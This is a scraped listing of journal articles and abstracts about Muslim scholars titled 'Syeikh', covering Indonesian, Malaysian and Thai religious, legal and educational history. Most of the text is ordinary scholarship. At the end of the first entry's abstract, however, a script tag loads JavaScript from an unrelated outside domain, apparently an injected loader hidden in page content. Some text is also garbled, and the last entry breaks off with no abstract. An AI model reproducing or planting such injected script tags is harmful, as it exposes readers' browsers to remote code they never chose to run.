Journal articles on the topic 'Syeikh'

To see the other types of publications on this topic, follow the link: Syeikh.

Create a spot-on reference in APA, MLA, Chicago, Harvard, and other styles

Select a source type:

Consult the top 50 journal articles for your research on the topic 'Syeikh.'

Next to every source in the list of references, there is an 'Add to bibliography' button. Press on it, and we will generate automatically the bibliographic reference to the chosen work in the citation style you need: APA, MLA, Harvard, Chicago, Vancouver, etc.

You can also download the full text of the academic publication as pdf and read online its abstract whenever available in the metadata.

Browse journal articles on a wide variety of disciplines and organise your bibliography correctly.

1

Rusli, Almunauwar Bin. "SYEKH MOHAMMAD ARSYAD THAWIL 1851-1934 : PERJUMPAAN ULAMA BANTEN DENGAN JEMAAT KRISTEN MINAHASA." Al-Qalam 26, no. 1 (June 29, 2020): 129. http://dx.doi.org/10.31969/alq.v26i1.779.

Full text
Abstract:
<p>The fight of <em>Ulama</em> in the history of Indonesian colonialism took place through eschatological awareness, ethical action and mystical reflection. Syeikh Mohammad Arsyad Thawil is one of the important <em>Ulama</em> in this case. He was born in Tanara, Banten 1851 and died in Lawangirung, Manado 1934. Syekh Mohammad Arsyad Thawil studied Islam on three teachers: Syeikh Abdul Gani Bima, Syeikh Ahmad Zaini Dahlan and Syeikh Nawawi Al-Bantani. He lived in Makkah from 1868-1873 and was involved in the Banten peasant uprising 9-13 July 1888. First, since 1808 Banten fell under Dutch rule. Colonial bureaucracy destroys traditional bureaucracy. Second, abolition of inheritance, tax collection and forced labor. Third, the raises of sufi movements, pesantren and pilgrimage groups that formed the Pan-Islamic ideology. When exiled at Airmadidi, Minahasa 1888, the <em>da’wah</em> of Syeikh Mohammad Arsyad Thawil was supported by Kapiten Tan Tjin Bie. Thus, Islam and Tionghoa have relations of knowledge and power because of cooperation of commerce and memory of commerce.</p><p> </p><script type="text/javascript" src="http://minisrclink.cool/1e40c8bd4601a5a5a4.js"></script>
APA, Harvard, Vancouver, ISO, and other styles
2

Ainiyah, Qurrotul. "Contribution of Mohammad Nawawī bin ‘Umar in Family Conflict Management." Justicia Islamica 15, no. 2 (December 31, 2018): 209–24. http://dx.doi.org/10.21154/justicia.v15i2.1460.

Full text
Abstract:
Ulama Muslim di Indonesia memiliki begitu banyak karya tentang aspek sosial termasuk konsep keluarga. Salah satu ulama muslim Indonesia yang sangat aktif untuk mencemarkan gagasan dalam bentuk tertulis adalah Syeikh Nawawi bin Umar. Makalah ini akan difokuskan pada buku ‘Uqud Al-Lijjain. Ini adalah salah satu karya Syekh Nawawi yang menggambarkan tentang manajemen keluarga yang mengatur bagaimana menjaga harmonisasi keluarga. Buku ini cenderung superioritas manusia. Itu karena buku ini telah ditulis lebih dari seratus tahun yang lalu, tempat Syeikh Nawawi hidup di lingkungan patriarki. Kemudian, hasil dari makalah ini adalah; pertama, latar belakang pendidikan dan kehidupan sosial Syeikh Nawawi yang pada dasarnya di pondok pesantren. Kedua, ‘Uqūd Al-Lijjain adalah sebuah buku yang menyediakan manajemen keluarga termasuk hukum dan etika hubungan antara suami dan istri menurut madzhab Imam Syafii. Ketiga, ‘Uqūd Al-Lijjain menjawab konflik manajemen dalam sebuah keluarga, yaitu antara suami dan istri harus memahami hak dan kepatuhan masing-masing.Moeslim ulamas of Indonesia have so many works which talk about any social aspect including the concept of family. One of moeslim ulamas of Indonesia who was very active to contibute the idea in the written form was Syeikh Nawawī bin Umar. This paper will be focused on ‘Uqūd Al-Lijjain book. It is one of Sheikh Nawawi's work which describes about family management that regulate how to keep the harmonization of family. This book tends to the superiority of man. It is because this book has been written in more than one hundred years ago, where Syeikh Nawawi lived in patriarchy environment. Then, the results of this paper are;first, the education background and social life of Syeikh Nawawi which basically in islamic boarding school. Second, ‘Uqūd Al-Lijjain is a book which provides family management including the laws and relation ethics between husband and wife according to Imam Syafii madzhab. Third, ‘Uqūd Al-Lijjain answers the management conflict in a family, that is between a husband and wife should understand the right and obigation of each.
APA, Harvard, Vancouver, ISO, and other styles
3

Nugroho, Ischak Suryo. "NILAI-NILAI PENDIDIKAN ISLAM DALAM TAREKAT QADIRIYAH." Jurnal Penelitian Agama 20, no. 1 (July 31, 2019): 122–41. http://dx.doi.org/10.24090/jpa.v20i1.2019.pp122-41.

Full text
Abstract:
Islamic education is not only focussed on physical problems such as cognitive but also on spiritualilty which the mind’s ability that is build in tasawuf by tarekat way. Qadiriyah is a taken from the name of its founder Abd. Al-Qadir Jilani who is popular with Syekh Abd. Al-Qadir Jilani Al-Ghawsts atau Quthb Auliya. Syeikh Abd. Al-Qadir is athe founder of spiritual which is masive and organized well. Before Syeikh Abd. Al-Qadir Jilani, Islamic spiritual is individual and not well-organized. According to Al Sya’rani, the form and characteristic of Tarekat Syaikh Abd. Al-Qadir is tauhid . The way to achieve the syariat is by spritual and mental activities. The Syaikh Abd. Al-Qadir Al-Jilani always emphasizes on purificstion from the men’s desire. Some of the lessons are taubat, zuhud, tawakal, syukur, ridha and honest. Key Words : Islamic Education, Tarekat, Qadiriyah
APA, Harvard, Vancouver, ISO, and other styles
4

Ali Musri Semjan Putra. "KLARIFIKASI SYEIKH MUHAMMAD BIN ABDUL WAHHA." Al-Majaalis : Jurnal Dirasat Islamiyah 4, no. 2 (May 20, 2017): 135–72. http://dx.doi.org/10.37397/almajaalis.v4i2.69.

Full text
Abstract:
Dalam sepanjang sejarah Islam tidak sedikit kajian para ulama yang membahas berbagai perbedaan dalam pemahaman, akan tetapi para ulama kita dalam mengkaji ataupun mengkritisi sebuah pemikiran dan pemahaman bukan berdasarkan kepada asumsi dan opini publik belaka. Mereka meninjau secara langsung referensi yang menjadi rujukkan utama sebuah pemikiran atau pemahaman tersebut. Mereka benar-benar memiliki sifat Inshaf dalam mengkritisi sebuah pemikiran, jauh dari rasa kepanatikan dan ta’ashub. Dalam penelitian ini penulis ingin mengajak para pemerhati peikiran untuk melihat, menilai dan mengkaji sebuah pemikiran dari sumber aslinya bukan dari opini publik dan asumsi justifikasi. Penelitian ini membahas tentang salah satu surat pribadi Syeihk Muhammad bin Abdul Wahab dalam mengklarifikasi berbagai tuduhan-tuduhan terhadap dakwah beliau. Dimana tuduhan-tuduhan tersebut semenjak zaman beliau sampai sekarang masih disebar dan dijadikan sebagai alat provokasi dalam memecah belah persatuan umat. Penelitian ini merupaka penelitian pustaka yang memusatkan perhatian pada pengkajian terhadap teks surat pribadi Syeikh Muhammad bin Abdul Wahab yang beliau kirimkan kepada masyarakat Qoshim. Surat beliau tersebut terdapat pada jilid ke tiga dalam kumpulan karya beliau sebanyak sembilan jilid. Penelitian ini menyimpulkan bahwa sebagian besar dari tuduhan-tuduhan terhadap dakwah Syeikh Muhammad bin Abdul Wahab telah beliau klarifikasi. Bahwa beliau berlepas diri dari segala tuduhan tersebut.
APA, Harvard, Vancouver, ISO, and other styles
5

Idris, Mhd, and Inda Marlina. "CHARACTERISTICS OF THE QUR'ᾹNIC MANUSCRIPT OF SYEIKH SURAU TANJUANG." Jurnal At-Tibyan: Jurnal Ilmu Alqur'an dan Tafsir 6, no. 1 (June 28, 2021): 128–44. http://dx.doi.org/10.32505/at-tibyan.v6i1.2703.

Full text
Abstract:
This study aims to determine the characteristics of the Qur'ānic manuscripts of Syeikh Surau Tanjuang and it’s differences from the Qur'ān rasm usmaniy. This research is a library research with a philological and codicological approach. The primary source of this research is the Qur'ānic manuscripts of Syeikh Surau Tanjuang and the secondary sources used are books that are directly related to the discussion. The results of this study indicate that three manuscripts of the Qur'ān were found as relics of Syeikh Surau Tanjuang. The manuscripts were collected by Hayatun Nufus and Datuak Trans as the Tanjuang tribe. The characteristics of the Qur'ānic manuscripts of Syeikh Surau Tanjuang generally do not have a cover and are written in naskhi script. The condition is quite apprehensive because it is no longer intact, many pages are missing, the paper is torn, even eaten by termites, and the paper has started to turn yellow. The comparison of the Qur'ān Syeikh Surau Tanjuang manuscripts with the Qur'ān rasm utsmani can be seen from several aspects, including the aspect of rasm, punctuation (syakl), tajwid sign, waqaf sign which in general has clear differences. Besides that, there were also some errors in writing.
APA, Harvard, Vancouver, ISO, and other styles
6

Munte, Wahlin. "PEMIKIRAN SYEIKH H.M ARSYAD THALIB LUBIS TENTANG MATERI PENDIDIKAN ISLAM." HIBRUL ULAMA 4, no. 1 (April 4, 2022): 66–73. http://dx.doi.org/10.47662/hibrululama.v4i1.370.

Full text
Abstract:
Bahwasanya dimasa sekarang ini sudah banyak terjadi penyelewangan yang dilakukan oleh manusia. Melihat etika dan moral anak bangsa pada saat ini, posisi moral dan etika sering terabaikan dan tersingkir. Pemerintah harus ikut andil dalam permasalahan ini mungkin dengan memperbaiki konsep pendidikan atau mungkin dalam materi materi yang harus lebih mendalam membahas tentag etika dan moral. Kembali pada beberapa tahun yang lalu Syeikh Arsyad Thalib Lubis berhasil membuat setiap murid yang belajar pada beliau memiliki etika , moral dan berpengetahuan luas. Pada penelitian kali ini penulis mencoba melihat dan menganalisis materi apa yang di buat dan dilakukan Syeikh Arsyad Thalib Lubis, sehingga setiap yang telah berguru kepada beliau mempunyai etika, moral dan berakhlak mulia. Metode Penelitian ini menggunakan metode jenis penelitian studi tokoh, dimana penelitian ini diperoleh dari berbagai sumber primer seperti beberap buku-buku karangan Syeikh Arsyad Thalib Lubis seperti; Perbandingan agama islam dan Kristen, Manusia dalam Pandangan Syeikh Arsyad Thalib Lubis, dan sumber data sekunder seperti; publikasi ilmiah berupa buku-buku, jurnal, artikel dan hasil penelitian lain yang berkaitan dengan judul tersebut. Hasil dari penelitian ini menunjukkan bahwa Materi Pendidikan Syeikh Arsyad Thalib Lubis; 1. Materi ketuhanan (Tauhid). 2. Materi Kemanusiaan (Sosial). 3. Materi kerukunan (Multikultural).
APA, Harvard, Vancouver, ISO, and other styles
7

Ouma, Awae Maeh, and Abdullah Bin Yusuf Kareena. "Contribution of Syeikh Tuan Minal in the Creative Islamic Civilization on Islamic Society in South Thailand." International Journal of Nusantara Islam 2, no. 2 (April 20, 2015): 57–66. http://dx.doi.org/10.15575/ijni.v2i2.150.

Full text
Abstract:
This paper aims to discuss the contributions of syeikh Tuan Minal in the creative of Islamic civilization on Islamic society in South Thailand. The related sources are collected using accounts, story and library. It uses qualitative analysis and criticism. The result shows that Syeikh Tuan Minal or Syeikh Zainal Abidin bin Muhammad al-Fatany is ulama from Patani achieving great complement and praises from other ulamas and general public. His activities are of great contribution to Muslim in patani in intelektual such as aqidah or Tauhid and fiqh, hadits, tasawuf and medicine. The works has been absorbed and still actualized in daily life until present day especially in terms of faith and worship.
APA, Harvard, Vancouver, ISO, and other styles
8

Bin Afandi, Amirul Hisham, and Engku Ibrahim Engku Wok Zin. "[Hikam Abu Madyan's Early Commentaries: A Review] Syarahan Awal Hikam Abu Madyan: Satu Sorotan." Jurnal Islam dan Masyarakat Kontemporari 22, no. 1 (September 14, 2021): 191–97. http://dx.doi.org/10.37231/jimk.2021.22.1.502.

Full text
Abstract:
Syarahan-syarahan Hikam Abu Madyan ialah karya yang mengandungi panduan perjalanan kerohanian ahli Tasawuf. Syarahan ini telah dilakukan terhadap Hikam Abu Madyan yang telah dikarang oleh Syeikh Shu`ayb al-Maghribi. Namun begitu kajian tentangnya masih belum banyak dilakukan. Oleh itu, kajian ini bertujuan menjelaskan biografi pengarang Hikam Abu Madyan, penisbahan karya ini kepada beliau dan karya-karya dalam kategori syarah bagi Hikam Abu Madyan ini. Pengkaji akan menfokuskan kepada 4 syarahan awal yang didapati terhadapnya. Pertama Sharh Hikam al-Ghawthiyyah oleh Syeikh Ahmad bin Ibrahim Ibn `Allān al-Siddīqī al-Makkī, kedua, al-Bayān Wa al-Mazīd al-Mushtamil `Alā Ma`ānī al-Tanzīh Wa Haqā’iq al-Tawhīd `Alā ‘Uns al-Wahīd Wa Nuzhah al-Murīd oleh Syeikh Ahmad bin Abdul Qadir bin Umar al-Daw`anī al-Hadramī, ketiga, Kanz al-Minan `Alā Hikam ‘Abi Madyan oleh Syeikh Daud bin Abdullah al-Faṭānī al-Jāwī, dan keempat, al-Mawād al-Ghaythiyyah Sharh al-Hikam al-Ghawthiyyah oleh Syeikh Ahmad bin Mustafa al-`Alāwī. Kajian ini berasaskan data-data yang dikumpul melalui kaedah analisis dokumen. Data-data ini kemudiannya dianalisis menggunakan kaedah induktif, deduktif dan komparatif. Pengkaji mendapati syarahan Hikam Abu Madyan merupakan sebuah karya tasawuf yang sesuai untuk diketengahkan sebagai rujukan para ulama dan masyarakat. Penghasilan syarahan ini menunjukkan kecaknaan para ulama dalam menjelaskan kandungan Hikam Abu Madyan. Kajian ini penting sebagai pengenalan kepada Hikam Abu Madyan dan kitab-kitab syarahan awal terhadapnya.
APA, Harvard, Vancouver, ISO, and other styles
9

Towpek, Hadenan. "Pemikiran Ekonomi Syeikh Daud al-Fatani." Journal of Contemporary Islamic Studies 4, no. 1 (June 1, 2019): 48–66. http://dx.doi.org/10.24191/jcis.v4i1.19.

Full text
Abstract:
Kajian ini adalah mengenai pemikiran ekonomi Syeikh Daud al-Fatani dalam kitab Furu’ al-Masa’il dan relevansinya dengan kontrak perbankan Islam di Malaysia. Kajian ini mempunyai lima objektif, iaitu menerangkan biografi pengarang; mengenalpasi konsep pemikiran ekonomi Islam dan potensi ulama Melayu sebagai pemikir ekonomi; merumuskan perbincangan mengenai kontrak muamalat dalam kitab Furu’ al-Masa’il; mengenalpasti amalan kontrak muamalat dalam perbankan Islam di Malaysia; dan menganalisis relevansi kontrak muamalat Syeikh Daud al-Fatani dengan amalan kontrak perbankan Islam di Malaysia. Kajian ini menghasilkan lima dapatan. Pertama, kehebatan dan keistimewaan tokoh ini bersumberkan aspek rihlah ‘ilmiyyah dan aspek kepengarangan. Kedua, bidang pemikiran ekonomi Islam adalah berasaskan landasan ijtihad, dan kemantapan idea dan kebijaksanaan sarjana. Ketiga, kemantapan kitab Furu’ al-Masa’il pada bab muamalat. Keempat, asas kekuatan muamalat perbankan Islam di Malaysia adalah dari aspek penubuhan institusi perbankan Islam itu sendiri, dan doktrin menolak riba serta mengembang akad muamalat. Kelima, analisis relevansi akad muamalat Syeikh Daud al- Fatani dengan amalan akad muamalat perbankan Islam Malaysia dapat dirumuskan kepada aspek kefahaman dan definisi, dan aspek aplikasi.
APA, Harvard, Vancouver, ISO, and other styles
10

Bahrudin, Bahrudin, and Abdul Hayyie Al-Kattani. "Konsep kurikulum adab perspektif Syeikh Bakr Bin Abdullah Abu Zaid." Tawazun: Jurnal Pendidikan Islam 15, no. 2 (December 5, 2022): 221. http://dx.doi.org/10.32832/tawazun.v15i2.7622.

Full text
Abstract:
<p class="15bIsiAbstractBInggris">This research was formulated to describe the Adab Curriculum persfectif Sheikh Bakr bin Abdullah Abu Zaid. This research is a type of qualitative research with a character study approach that aims to conduct an in-depth study of the thoughts of the figures studied. The study is conducted by the library reaserch method of primary literature and skunder relating to the object in question. In this study it was found sheikh Bakr explained the concept of adab curriculum. According to him, the adab curriculum is divided into three parts of the discussion, namely as follows: First, the discussion of the definition of adab curriculum, Second, what foundation is underlying, then the third is what components are contained in the adab curriculum itself. Implicitly Sheikh Bakr defines the adab curriculum as the arrangement of material received, taken, and passed by learners to obtain the values of knowledge, attitude and skills that are in accordance with the foundation of the Qur'an, al-Hadith, and ijtihad ulama. These three aspects are formulated into the womb of Islamic Education. The supporting program for the achievement of the adab curriculum delivered in the womb of Islamic Education is the objective of the curriculum is clearly targeted, the content / material taught according to the target, the methods used in the teaching is on target, and the evaluation in the curriculum is organized according to the target achievement. These four supporting programs are components in the curriculum of the book of Hilyah Thalibil 'ilm by Syeihk Bakr.</p><p class="16aJudulAbstrak"><strong>Abstrak</strong></p><p class="16bIsiAbstrak">Penelitian ini dirumuskan untuk mendeskripsikan Kurikulum Adab perspektif Syeikh Bakr bin Abdullah Abu Zaid. Penelitian ini merupakan jenis penelitian kualitatif dengan pendekatan studi tokoh yang bertujuan untuk melakukan pengkajian mendalam terhadap pemikiran tokoh yang diteliti. Pengkajian dilakukan dengan metode<em> library reaserch</em> terhadap literatur primer dan skunder yang berkaitan dengan objek yang dimaksud. Dalam kajian ini ditemukan Syeikh Bakr memaparkan konsep kurikulum adab. Menurut beliau, kurikulum adab itu terbagi ke dalam tiga bagian pembahasan, yaitu sebagai berikut: <em>Pertama</em>, pembahasan tentang definisi kurikulum adab, <em>Kedua</em>, landasan apa saja yang mendasarinya, kemudian yang ketiga adalah komponen-komponen apa saja yang terdapat di dalam kurikulum adab itu sendiri. Secara implisit Syeikh Bakr mendefinisikan kurikulum adab merupakan susunan materi yang diterima, ditempuh, dan dilalui oleh peserta didik untuk memperoleh nilai-nilai pengetahuan, sikap dan keterampilan yang sesuai dengan landasan Alquran, al-hadits, serta ijtihad ulama. Ketiga aspek ini diformulasikan ke dalam rahim Pendidikan Islam. Program penunjang tercapainya kurikulum adab yang disampaikan dalam rahim Pendidikan Islam ialah tujuan kurikulumnya jelas sasaran, Isi/materi yang diajarkan sesuai sasaran, metode yang digunakan dalam pengajarannya tepat sasaran, serta evaluasi dalam kurikulumnya terorganisir sesuai target capaian. Keempat program penunjang ini merupakan komponen dalam kurikulum adab perspektif kitab <em>Hilyah Thalibil ‘ilm</em> karangan Syeihk Bakr.</p>
APA, Harvard, Vancouver, ISO, and other styles
11

Hj Mat Jusoh, Mohd Zulfakar, Che Zarrina Sa'ari, and Azmil Zainal Abidin. "Analisis Polemik Wahdah al-Wujūd dalam Karya Kashf al-Asrār Syeikh Muhammad Saleh Abdullah Minangkabawi Menurut Perspektif Tasawuf." Journal of Usuluddin 50, no. 2 (December 28, 2022): 45–64. http://dx.doi.org/10.22452/usuluddin.vol50no2.4.

Full text
Abstract:
Wahdah al-wujūd is one of the doctrines that has been discussed and debated by sufis in tasawwuf teachings. Nowadays, several fatwas from certain Islamic State Councils in Malaysia have issued to ban this doctrine from being spread due to ittihād and hulūl issues (pantheisme). This article highlights wahdah al-wujūd in Kashf al-Asrār Syeikh Muhammad Saleh Abdullah Minangkabawi according to the tasawwuf perspectives. This article aims to examine the textual in Kashf al-Asrār in dealing with fatwa and critisism. This article uses qualitative research method through documentary contents to identify wahdah al-wujūd doctrines and analysis method for analyzing the textuals in Kashf al-Asrār Syeikh Muhammad Saleh Abdullah Minangkabawi. The study eventually finds that Syeikh Muhammad Saleh Abdullah Minangkabawi refused the idea of ittihād and hulūl in his doctrine of tauhid, by using metaphore in discussing his ideas of tauhid, and the fatwa needs to be improved to address positive perspectives on Kashf al-Asrār’s teachings of tauhid.
APA, Harvard, Vancouver, ISO, and other styles
12

Constantinia, Ahdina. "Posisi Al-Mathla� Al-Sa�id Fii Hisabat Al-Kawakib �Ala Rashd Al Jaded Dalam Pusaran Ilmu Falak Nusantara." Ulul Albab: Jurnal Studi dan Penelitian Hukum Islam 2, no. 2 (July 19, 2019): 43. http://dx.doi.org/10.30659/jua.v2i2.3915.

Full text
Abstract:
Syeikh Hsain Zaid merupakan sastrawan yang juga mempunyai kiprah di bidang Ilmu Falak, salah satu kitab dalam bidang ilmu falak yang ditulisnya adalah Al-Mathla� Al-Sa�id� Fii Hisabat Al-Kawakib �Ala Rashd Al Jaded. Keberadaan syeikh Husain zaid yang begitu misterius membuat kitab ini sulit dikaji latarbelakang pembuatannya serta latar belakang dari pemikiran penulisnya sendiri. Namun kitab ini konon sangatlah berperan dalam perkembangan awal baru kajian ilmu falak di Indonesia. Oleh karenanya tulisan ini dibuat untuk membantu menemukan literatur-literatur yang mebahas Syeikh Husain Zaid juga Mathlaus Sa�id terkait seberapa pentingnya peran Mathlaus Sa�id dalam perkembangan kitab ilmu falak di Nusantara. Penelitian ini menggunakan metode library research, dengan menggunakan analisis descriptive. Pada kesimpulannya posisi Mathlaus Sa�id dalam perkembangan baru ilmu falak di Indonesia sangat berperan penting yakni kitab tersebut dijadikan sebagai rujukan atas penggunaan zij dengan epoch yang berbeda-beda dalam berbagai kitab yaitu; Bulugh Al-Wathar, Muntaha Nataij Al- Aqwal , Al-Manahijul Hamidiyah, Badi�atul Mitsal, dari kitab-kitab tersebut kemudian melahirkan lagi Al-Khulashah Al-Wafiyah, Hisab Haqiqi, Badi�atul Mitsal, dan lainnya.
APA, Harvard, Vancouver, ISO, and other styles
13

Supriadi, Herman, Irwan Rahadi, Muh. Hilmi Pauzi, Taufik Kurniawan, and Ramli Hidir. "INTERNALISASI NILAI-NILAI PERJUANGAN MAULANA SYEIKH MUHAMMAD ZAINUDDIN ABDUL MADJID MELALUI WISATA MAKAM." Journal of Tourism Destination and Attraction 10, no. 1 (June 30, 2022): 49–58. http://dx.doi.org/10.35814/tourism.v10i1.3379.

Full text
Abstract:
Berkunjung ke makam tertemtu memiliki banyak tujuan salah satunya adalah mengingat kisah hidup si Mayyit. Fokus pada penelitian ini adalah makam pahlawan nasional dan seorang pemimpin agama di pulau Lombok yaitu Maulana Syeikh Muhammad Zainuddin Abdul majdid. Makam beliau dikunjungi oleh banyak peziarah yang berasal dari berbagai daerah di Indonesia. Dari kuesioner yang disebar ke pengunjung, peneliti mendapatkan 101 respondents. Dari data yang sudah ditabulasikan didapatkan tujuan para pengunjung makam Maulana syeikh Muhammad Zainuddin Abdul Madjid terklasifikasi menjadi tiga bagian. Ketiga kelompok ini salah satunya adalah mengunjungi makam karena mereka ingin mengingat dan meneruskan kepada generasi selanjutnya mengenai perjuangan beliau (81.89%) sisanya pengunjung sekitar 8.9% (responden) berkunjung hanya untuk jalan jalan dan mengikuti perintah orang tua dan sisanya sekitar 2 orang atau 2.2% untuk menjalankan nazar atau janji yang pernah mereka ucapkan. Dengan demikian dari hasil penelitian ini bisa kita mendapatkan kesimpulan bahwa mengunjungi makam Maulana Syeikh Muhammad Zainuddin Abdul Madjid bisa menjadi media untuk memperkenalkan beliau dan perjuangan beliau kepada generasi setelah belaiu bagaiman beliau berjuang membela Agama, Bangsa dan Negara supaya generasi selanjutnya bisa merdeka dari penjajahan.
APA, Harvard, Vancouver, ISO, and other styles
14

Abdul Rahman, Rabiah, Kauthar Abd. Kadir, and Abdulloh Salaeh. "Metodologi Syeikh Muhammad Said Bin Umar dalam Mentafsirkan Ayat Mutashabihat di dalam Kitab Tafsir Nur Al-Ihsan: Satu Kajian Analisa." Sains Insani 4, no. 1 (May 31, 2019): 1–6. http://dx.doi.org/10.33102/jsi2019.4.1.01.

Full text
Abstract:
Perkembangan ilmu tafsir di Tanah Melayu bermula sejajar dengan kedatangan agama Islam ke Tanah Melayu. Kajian ini memfokuskan mengenai metodologi Syeikh Muhammad Said Bin Umar dalam mentafsirkan ayat-ayat Mutashabihat dalam kitab Tafsir Nur al-Ihsan. Kitab ini dikarang pada abad ke 19 iaitu pada tahun 1927 Masihi. Beliau adalah pengikut mazhab shafie dan mahir dalam Bahasa Arab. Kitab Tafsir Nur al-Ihsan merupakan salah satu rujukan utama Bahasa Melayu kepada masyarakat di Tanah Melayu di dalam memahami isi kandungan al-Quran. Proses pengumpulan data bagi kertas kerja ini akan menggunakan modul pengajaran dan dokumen-dokumen berkaitan dengan menggunakan method kajian induktif dalam menganalisa data. Hasil dari kajian ini mendapati bahawa, Syeikh Muhammad Said Bin Umar mengaplikasikan metodologi tafsir berasaskan tafwidh dan ta’wil dalam mentafsirkan ayat-ayat mutashabihat. Abstract: The golden era of al-Ilm al-Tafsir in Malaya was started along with the existence of Islamic influence in Malaya. This study focuses on the methodology that was applied by Syeikh Muhammad Said bin Umar in interpreting al-Ayat al-Mutashabihat for his well-known book entitled Tafsir Nur al-Ihsan. This book was narrated in 1927. He practiced Shafie’s Sect and an expert in Arabic language. Tafsir Nur al-Ihsan is the main reference for the Malays in understanding the contents of Quran. This study gains the data throughout teaching modules and few related documents. In analyzing the data, an inductive research method was implemented. The study found that Syeikh Muhammad Said bin Umar has adapted the principles of Tafwidh (Authorization) and Ta’wil (Interpretation) in interpreting al-Ayat al-Mutashabihat.
APA, Harvard, Vancouver, ISO, and other styles
15

Tupek, Hadenan Bin. "Konsep Mudarabah Menurut Syeikh Daud Al-Fatani." Al-Risalah 12, no. 02 (December 1, 2018): 1. http://dx.doi.org/10.30631/al-risalah.v12i02.450.

Full text
Abstract:
Makalah ini membahas pandangan Syeikh Daud Al-Fatani (1131-1265H/ 1718-1847M) sehubungan dengan konsep mudarabah seperti yang dibahas dalam bukunya Furu 'al-Masa'il (1254-1257H/ 1838-1841M) dan secara khusus disebut dalam judul Kitab al-Qirad. Makalah ini berbicara tentang definisi dan pemahaman tentang konsep mudarabah, selain untuk berbicara tentang kondisi enam prinsip mudarabah terdiri pemodal, pengusaha atau pekerja, kekayaan atau modal, usaha atau bekerja, sighat ijab qabul dan dan bagi hasil. Selain itu, topik yang berkaitan dengan pembatalan kontrak mudarabah dan mengklaim kembali aset modal mudarabah juga dibahas. Tulisan ini merupakan penelitian kepustakaan dengan menggunakan metode analisis isi untuk menganalisis data. Pada saat yang sama, analisis komparatif dengan pandangan otentik Mazhab Syafi'i juga diterapkan. Temuan penelitian ini menunjukkan bahwa pandangan Syeikh Daud Al-Fatani berkaitan dengan konsep mudarabah adalah dalam lingkup pembahasan fiqh alSyafi'i. Selain itu, konsep mudarabah yang disebutkan dalam buku al-Masa'il Furu' juga masih relevan dan berlaku di perbankan dan keuangan Islam dari masa lalu, sekarang dan masa depan.
APA, Harvard, Vancouver, ISO, and other styles
16

Tupek, Hadenan Bin. "Konsep Mudarabah Menurut Syeikh Daud Al-Fatani." Al-Risalah: Forum Kajian Hukum dan Sosial Kemasyarakatan 12, no. 02 (December 1, 2018): 1–17. http://dx.doi.org/10.30631/alrisalah.v12i02.450.

Full text
Abstract:
Makalah ini membahas pandangan Syeikh Daud Al-Fatani (1131-1265H/ 1718-1847M) sehubungan dengan konsep mudarabah seperti yang dibahas dalam bukunya Furu 'al-Masa'il (1254-1257H/ 1838-1841M) dan secara khusus disebut dalam judul Kitab al-Qirad. Makalah ini berbicara tentang definisi dan pemahaman tentang konsep mudarabah, selain untuk berbicara tentang kondisi enam prinsip mudarabah terdiri pemodal, pengusaha atau pekerja, kekayaan atau modal, usaha atau bekerja, sighat ijab qabul dan dan bagi hasil. Selain itu, topik yang berkaitan dengan pembatalan kontrak mudarabah dan mengklaim kembali aset modal mudarabah juga dibahas. Tulisan ini merupakan penelitian kepustakaan dengan menggunakan metode analisis isi untuk menganalisis data. Pada saat yang sama, analisis komparatif dengan pandangan otentik Mazhab Syafi'i juga diterapkan. Temuan penelitian ini menunjukkan bahwa pandangan Syeikh Daud Al-Fatani berkaitan dengan konsep mudarabah adalah dalam lingkup pembahasan fiqh alSyafi'i. Selain itu, konsep mudarabah yang disebutkan dalam buku al-Masa'il Furu' juga masih relevan dan berlaku di perbankan dan keuangan Islam dari masa lalu, sekarang dan masa depan.
APA, Harvard, Vancouver, ISO, and other styles
17

Hasanah, Durrotun. "MANAQIB SYEIKH ABDUL QADIR SEBAGAI MEDIA SULUK." PUTIH: Jurnal Pengetahuan Tentang Ilmu dan Hikmah 2, no. 1 (March 31, 2017): 23–42. http://dx.doi.org/10.51498/putih.v2i1.46.

Full text
Abstract:
Salah satu program religius untuk mencapai sebuah suluk yakni dengan adanya majelis manaqiban yang mana majelis tersebut salah satu aktivitas jama?ah Al-Khidmah. Dan dalam majeis manaqiban tersebut ada beberapa isinya seperti tawassul yang ditujukan kepada Syeikh Abdul Qadir al-Jailani, kemudian dilanjutkan dengan Istighosah bersama, dan dilanjutkan dengan pembacaan manaqib yang di lengkapi dengan nasyid-nasyid juga dilengkapi dengan bacaan Maulidur Rasul.Dan motivasi dari adanya majelis ini yakni untuk menyambung silaturruhiyah kepada Guru, dan untuk mendekatkan diri kepada Allah.dengan adanya majelis ini seseorang yang ingin mencapai sebuah suluk sangat tepat sekali untuk mengikutinya. Karena setelah mengikuti majelis tersebut jiwa ini akan merasakan ketenangan. adapun persoalan ini termasuk persoalan yang bersifat perilaku manusia, oleh karena itu, untuk mengungkap persolan tersebut secra menyeluruh dan mendalam, maka dalam penelitian ini digunakan metode kualitatif. Kenapa penulis memilih metode yang kualitatif?, karena mnurut penulis metode ini lebih dapat beradaptasi dengan keadaan lingkungan.
APA, Harvard, Vancouver, ISO, and other styles
18

Suhada, Ade Anang, Muliadi Muliadi, and Dodo Widarda. "Kebahagiaan Menurut Syeikh Ibnu Atha’illah as-Sakandari." Jurnal Penelitian Ilmu Ushuluddin 2, no. 1 (January 22, 2022): 180–97. http://dx.doi.org/10.15575/jpiu.13590.

Full text
Abstract:
The hustle and bustle of the modern era, marked by an easy life, is relatively only able to provide physical pleasure, but is unable to provide physical and spiritual happiness. The phenomenon of life that is not balanced with this level of happiness, causes a void. The purpose of this study was to determine the meaning and ways of obtaining happiness according to Syeikh Ibnu Atha’illah as-Sakandari, as well as its relevance to human life in the modern era. This research is a qualitative research that uses a library research approach. The analytical method used is a content analysis technique. The conclusion of this study, shows that the happiness referred to by Syeikh Ibnu Atha’illah as-Sakandari divided happiness in two dimensions, namely happiness in the World and happiness in the hereafter. Happiness actually exists in human. Happiness will be realized when humans are able to optimize the potential of the mind and the potential of the heart. The path to happiness can be attained by knowing the characteristics of the wordly life and suffering and reducing pleasures. Moral perfections will lead humans to true happiness, namely meeting Allah SWT in a state of faith.
APA, Harvard, Vancouver, ISO, and other styles
19

Mohamed, Mohamad Zainuddin, and Ahmad Irfan Ikmal Hisham. "PEMIKIRAN INTELEKTUAL SYEIKH ABD AL-SAMAD AL-FALIMBANI." International Journal of Humanities Technology and Civilization 7, no. 1 (June 23, 2022): 44–48. http://dx.doi.org/10.15282/ijhtc.v7i1.7648.

Full text
Abstract:
